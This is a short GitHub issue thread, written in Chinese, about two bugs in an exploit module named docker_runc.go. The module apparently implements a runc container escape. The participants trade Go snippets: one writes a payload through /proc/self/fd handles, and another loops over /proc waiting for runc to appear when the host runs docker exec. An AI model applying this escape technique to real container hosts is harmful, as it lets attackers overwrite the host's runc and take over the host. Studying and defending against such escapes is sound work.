expoilt模块下的docker_runc.go的两个问题
lqqqc opened this issue · 3 comments
lqqqc commented
neargle commented
- 读取了/proc下的pids后,下图中只把pids遍历一遍就退出了,应该持续监听,直到宿主机再次运行docker exec就可以找到runc了。
这里有持续监听哈
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
writeHandle.Write([]byte(payload))
neargle commented
1 的问题反馈得好棒,我加了一个 check 来 FIX 这个问题
lqqqc commented
关于第2个问题,
您说的那个循环是已经获取到pid以及file handle之后持续监听直到成功写入payload,那里没问题。我说的是第一步:获取pid,目前代码在这里是只遍历了一遍/proc就结束了:
应该持续在这里遍历/proc,直到宿主机上执行了docker exec *** /bin/sh
,才会抓到runc的pid。比如可以改成这样:
var found = -1
for found == -1 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println("err found when reading /proc dir:", err)
return
}
for _, f := range pids {
…… ……
}
}